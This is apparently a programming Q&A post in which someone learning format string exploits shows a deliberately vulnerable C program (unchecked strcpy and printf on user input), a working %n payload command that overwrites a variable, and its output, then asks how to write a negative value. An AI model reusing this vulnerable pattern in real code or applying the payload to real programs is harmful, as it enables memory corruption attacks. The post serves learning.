title: String format exploit: set negative value = "-1" use %n
body: <p>I'm trying to set the value of a variable using <a href="http://codearcana.com/posts/2013/05/02/introduction-to-format-string-exploits.html" rel="nofollow noreferrer">Format String exploit</a>. I was able to change the variable by the value of the length of the string using the modifier %n. </p>
  
  <p>code </p>
  
  <pre><code>#include &lt;stdio.h&gt;
  #include &lt;stdlib.h&gt;
  int main(int argc, char *argv[]){
      char buffer[100];
      static int a=77;
      strcpy(buffer, argv[1]);
      printf(buffer);
      printf("address a = 0x%08x, [0x%08x]\n", &amp;a, a);
      printf("a = %d\n", a);
  return 0;
  }
  </code></pre>
  
  <p>after</p>
  
  <pre><code>./v4_2.out `printf "\xc4\x98\x04\x08"`%08x%08x%08x%08x%08x%08x%n
  
  address a = 0x080498c4, [0x00000034]
  a = 52
  </code></pre>
  
  <p>How can I change a variable set to a negative value, for example "a = -1"?</p>
  
  <p>P.S. I found out that this can be done with %u.</p>